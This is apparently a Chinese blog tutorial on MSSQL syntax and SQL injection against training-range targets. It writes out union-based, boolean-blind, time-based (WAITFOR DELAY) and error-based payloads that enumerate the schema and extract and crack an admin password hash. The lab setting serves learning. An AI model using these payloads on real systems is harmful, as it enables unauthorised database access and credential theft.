前言
Mssql也是一个较为常用的数据库,在对Mysql学习过后,来对Mssql进行简单学习,希望能对正在学习Mssql的师傅们有所帮助。(本篇完全水文,勿喷)
基础知识
增删改查
首先先简单说一下增删改查的语句吧
1、新建数据库
create database name
//实例如下
create database quan9i //创建一个名为quan9i的数据库
删除数据库
drop database name
//实例如下
drop database quan9i //删除quan9i数据库
2、新建数据表(默认是master数据库,想指定库的话需提前声明该库)
use name ;
create table table_name(column1 char(255),column2 char(255),column3 int);
//实例如下
use quan9i;
create table QAQ(users char(255),passwd char(255),age int);//创建一个名为QAQ的表,里面包含三列、分别为users,passwd和age
删除数据表
drop table table_name;
//实例如下
drop table dbo.qwq;
向表中插入数据
insert into table_name(column,column2,column3) values(value1,value2,value3);
//实例如下
insert into QAQ (users,passwd,age) values('quan9i','quan9i',19);//向QAQ表中插入内容,users和passwd均为quan9i,age为19
删除表中内容
delete from table_name where column1=value1;
//实例如下
delete from QAQ where users=quan9i;//删除QAQ表中users为'quan9i'的内容
3、更改内容
UPDATE table_name set column1=value1
//实例如下
UPDATE QAQ set users='quan9i' where age=19; //将QAQ表中age为19的users改为quan9i
4、查找内容
select * from table_name where column1=value1;
//实例如下
select * from QAQ where users='quan9i';//将QAQ表中users为quan9i的内容筛选出来
常用函数
在Mssql中的一些函数和Mysql是略有不同的,比如延时函数,所以这里需要简单介绍一下函数,具体如下所示
WAITFOR DELAY '0:0:n' //延时n秒
substring(string,a,b) //从a开始,截取string的前b位,比如substring('abcde',1,2),就是ab
@@version //版本信息
select suser_name(); //用户登录名
select user_name(); //用户在数据库中的名字
db_name() //当前数据库名
同时由于Mssql筛选语句用的是top 1
这种,而不是limit 1,1
这种,所以需要简单介绍一下去获取第二条数据。(这个语句下文会再次讲述,这里暂时不懂也没关系)
1、使用 <> 来排除已经显示的数据,获取下一条数据。
2、使用not in来排除已经显示的数据,获取下一条数据。
再对两个举个简单的利用例子,如下
id=-2 union all select top 1 null,id,name,null from dbo.sysobjects where xtype='U' and id <>5575058
//表示从表中查取id和表名,且这个id不是5575058,这样就成功得到了下一条数据
id=-2 union all select top 1 null,id,name,null from dbo.sysobjects where xtype='U' and id not in('5575058')
//跟上一个语句含义相同,仅仅是<>换成了not in
基础语句测试(从版本号到查看数据)
首先打开Navicat后连接数据库,接下来就开始我们快乐的测试之旅了。
首先测试一下是否是Mssql数据库
首先测试一下版本
select @@version
可以看到成功的查询出来了
接下来查一下数据库
select name from master.dbo.sysdatabases ORDER BY name;
select name from master..SysDatabASes ORDER BY name
//两个语句其实是相同的
获取当前数据库
select db_name()
查询数据库的表名
select name from test.dbo.sysobjects
sysobjects表是SQL Server的系统表,记录了数据库内创建的每一个对象
如果这样直接查的话,如上图所示,有很多不需要的数据也会跟着显现出来,而我们此时去找表名时,无疑就增添了一分困难,所以我们需要去筛选一下。
我们可以利用xtype='u'
这种方式来筛选我们所想查找的表名。sysobjects
表如下图所示,其中也对xtype
进行了简单描述(图片引用于https://blog.csdn.net/hongduilanjun/article/details/123400530)
从图中不难看出xtype='u'
对应的是用户表的名字,因此这时就可以实现筛选,达到只看表名的目的
语句如下
select name from master.dbo.sysobjects where xtype='u'
然后我们如果想每次只看一行的话(亦或是在真实环境中只能回显一行),这个时候是没有、mysql
的limit
函数的,我们该怎么办呢,这个时候可以借助top
,我们在语句前加上top 1
就可以使其只回显一行数据,如下所示
此时就可以只获取一行数据了,达到我们的效果了,可是这个一行是从1开始的,那我们该如何去查第二行,第三行这种呢,只需要加name!='xxx'
即可,如下所示
select top 1 name from master.dbo.sysobjects where xtype='u' and name!='trace_xe_action_map'
前三行的查询还是相对比较简单的,只需要一两个name !=
,可是如果是七八行这种,他就显得相对不便捷了,这个时候可以借助not in
,示例如下
select top 1 name from master.dbo.sysobjects where xtype='u' and name not in ('trace_xe_action_map','trace_xe_event_map')
这些就是筛选出表名的基本语句啦。
接下来看下一个,获取列名(字段名)
它的语句类似于查表名,最简单的如下所示
select * from test.dbo.syscolumns
不难看出他的列有很多,对应列名大致介绍一下,如下所示
这里筛选一下
比如我们的目的是得到data
表的列名,可如下所示
select name from test1.dbo.syscolumns where id=(select id from test1.dbo.sysobjects where name = 'data') and name<>'id'
id=-1 union all select top 1 '1','2',column_name,'4' from information_schema.columns where table_name='manage' and column_name <>'id'
其实这里的话,就是利用了一个id
列,因为每个表中都存在id列,我们借id
先筛选出data
全部列,然后取除了id
的其他列
这里成功查询处了其列名,加上id的话共有三个,即
id,users,password
接下来就可以去根据列名去查字段信息了,语句如下所示
select top 1 username from test1.dbo.users
而当我们想同时查看多条数据时,将列名相加即可,具体如下所示
select top 1 username+':'+ password from test1.dbo.users
靶场测试
这里的靶场环境直接采用墨者学院的靶场,省的自己搭建了,靶场链接如下
https://www.mozhe.cn/bug/detail/SXlYMWZhSm15QzM1OGpyV21BR1p2QT09bW96aGUmozhe
开启靶场后
发现这里的话下方通知处是个超链接,点进去查看一下
发现参数id
,疑似注入点,验证一下
id=2 and 1=1
id=2 and 1=2
两者明显回显不同,存在SQL注入
联合查询
判断第一步的话肯定是判断是否存在注入,之前判断过了,所以这里就不用再进行测试了
我们直接进入第二步,查询字段数
id=2 order by 4
id=2 order by 5
回显正常
回显异常
据此可以看出4是字段数,即这里存在四个字段。
接下来寻找回显位,构造payload如下
id=1' union all select '1','2','3','4'
发现回显位是2
和3
,接下来就去尝试查看版本号
id=-1 union all select '1','2',@@version,'4'
接下来知道了数据库的版本号,就该去查库名了,我们查询数据库的话可以用db_name
函数来进行查询,语句如下
id=-1 union all select '1','2',db_name(0),'4'
id=-1 union all select '1','2',db_name(1),'4'
id=-1 union all select '1','2',db_name(2),'4'
id=-1 union all select '1','2',db_name(3),'4'
id=-1 union all select '1','2',db_name(4),'4'
这里根据遍历得到了数据库名
接下来去找表名
id=-1 union all select '1','2',name,'4' from dbo.sysobjects where xtype='U'
查询第二个就用name!=
第一个表名即可
id=-1 union all select top 1 '1','2',name,'4' from dbo.sysobjects where xtype='U' and name!='manage'
查询第三个的话可以用not in
id=-1 union all select top 1 '1','2',name,'4' from dbo.sysobjects where xtype='U' and name not in('manage','announcement')
不过这里因为只存在两个表,所以报错了
我看一位大师傅是这样查询的
id=-2 union all select top 1 null,id,name,null from dbo.sysobjects where xtype='U' and id not in ('5575058')
id=-2 union all select top 1 null,id,name,null from dbo.sysobjects where xtype='U' and id <>5575058
//这两个语句效果是一样的
这个的话其实与刚刚测试的payload
有异曲同工之妙,这个是通过筛选表名的id来筛选表名,我们那个是根据表名直接来进行筛选的,两者其实是相同的。
接下来查询列名,构造payload如下
id=-1 union all select top 1 '1','2',column_name,'4' from information_schema.columns where table_name='manage'
查询第二个和第三个
id=-1 union all select top 1 '1','2',column_name,'4' from information_schema.columns where table_name='manage' and column_name <>'id'
id=-1 union all select top 1 '1','2',column_name,'4' from information_schema.columns where table_name='manage' and column_name not in('id','username')
参考另一位师傅的博客时看到这有一种方式,这个相比更为快捷,只需遍历即可获取某一张表下全部列名
id=-1 union all select top 1 '1','2',col_name(object_id('manage'),1),'4' from sysobjects
id=-1 union all select top 1 '1','2',col_name(object_id('manage'),2),'4' from sysobjects
id=-1 union all select top 1 '1','2',col_name(object_id('manage'),3),'4' from sysobjects
接下来有了字段名,就可以去查字段信息了
id=-1 union all select top 1 '1','2',username,'4' from manage
查password
字段
-1 union all select top 1 '1','2',password,'4' from manage
md5解密一下得到
成功得到密码,拿去登录
成功进入后台
布尔盲注
首先来猜解一下数据库长度
id=2 and len((select db_name(0)))>11
id=2 and len((select db_name(0)))=11
获取到长度为11,接下来猜解数据库名
在mssql中虽然没有substr
,但是可以用substring
来代替它,两者作用是相同的
id=2 and ascii(substring(db_name(),1,1))>100 //正常显示
id=2 and ascii(substring(db_name(),1,1))>150 //不正常
id=2 and ascii(substring(db_name(),1,1))>125 //不正常
id=2 and ascii(substring(db_name(),1,1))>112 //不正常
id=2 and ascii(substring(db_name(),1,1))>106 //正常
id=2 and ascii(substring(db_name(),1,1))=109 //正常
利用这种语句结合二分法可以猜解得到数据库名字。
接下来猜解表名
首先判断mozhe_db_v2数据库中表的个数:
id=2 and (select count(name) from mozhe_db_v2..sysobjects where xtype='U')=2
等于2时正常,说明有2个表。
接下来判断表的长度
id=2 and ascii(substring((select top 1 name from mozhe_db_v2.dbo.sysobjects where xtype='u'),7,1))>0
当为7时,不正常显示,说明表长度为6。同理得另一个表长度
接下来测试表名
id=2 and ascii(substring((select top 1 name from dbo.sysobjects where xtype='U'),1,1))=109
第一个为m,以此类推得到表名为manage
接下来测试字段名
首先判断字段数的个数
id=2 and (select count(name) from mozhe_db_v2..syscolumns where id=(select id from mozhe_db_v2..sysobjects where name='manage'))=3
等于3时回显正常,说明字段数有3个。
接下来判断字段的长度
id=2 and len((select top 1 col_name(object_id('manage'),1) from mozhe_db_v2..sysobjects))=2
等于2时回显正常,说明第1个字段的长度为2。
同理,得到第2个字符长度为8,第3个字符长度为8。
接下来查询第一个列名
id=2 and ascii(substring((select top 1 col_name(object_id('manage'),1) from sysobjects),1,1))=105
可得第一个为i,同理得第二个为d,所以可知第一个列名为id
同理得其他列名
接下来猜解字段
id=2 and ascii(substring((select username from manage),1,1))=97
以此类推,得到用户名为admin_mz
,接下来猜解passwd字段
id=2 and ascii(substring((select password from manage),1,1))=55
第一个为7,以此类推,得到密码72e1bfc3f01b7583,md5解密得到真正密码
时间盲注
这里首先提一个函数
WAITFOR DELAY '0:0:5' //延时5秒钟
把他加在语句之后,如果正确的话,回显是正确的话会延时五秒
判断是否是sysadmin权限
id=2 if(select IS_SRVROLEMEMBER('sysadmin'))=1 WAITFOR DELAY '0:0:5'
接下来测试数据库名
数据库的话需要用到substring
函数,测试数据库第一个字母代码如下
id=2 if (ascii(substring((select top 1 db_name()),1,1))=109) WAITFOR DELAY '0:0:5'
测试数据库的另外几个字母亦是同理。
接下来测试表名
id=2 if (ascii(substring((select top 1 name from dbo.sysobjects where xtype='U'),1,1))=109) WAITFOR DELAY '0:0:5'
以此类推得到表名
接下来测试列名
id=2 if (ascii(substring((select top 1 col_name(object_id('manage'),1) from sysobjects),1,1))=105) WAITFOR DELAY '0:0:5'
以此类推得到列名,接下来测试数据
id=2 if (ascii(substring((select username from manage),1,1))=97) WAITFOR DELAY '0:0:5'
以此类推最终得到数据
字符型靶场测试
靶场地址
http://o9pz8015.ia.aqlab.cn/
进入环境
输入id=1
试试看
测试是否存在注入
一眼顶真,字符型注入,单引号闭合,尝试闭合语句
id=1' --+
接下来查询字段数
id=1' order by 3 --+
id=1' order by 4 --+
字段数为3
查数据库和版本信息
id=-1' union all select 1,db_name(),@@version--+
查表名
-1' union all select 1,name,'4' from dbo.sysobjects where xtype='U'--+
查列名
-1' union all select 1,column_name,'4' from information_schema.columns where table_name='admin'--+
查字段
-1' union all select 1,token,passwd from admin--+
关于报错注入
MSSQL报错注入利用的就是显示或隐式转换来报错注入,比如以下就是典型的隐式转换
select * from admin where id =1 and (select user)>0--
select * from admin where id =1|(select user)--
在将 nvarchar 值 'dbo' 转换成数据类型 int 时失败。
显示转换也就是利用函数来转换,我们经常用到的两个函数就是cast和convert
select * from admin where id =1 (select CAST(USER as int))
select * from admin where id =1 (select convert(int,user))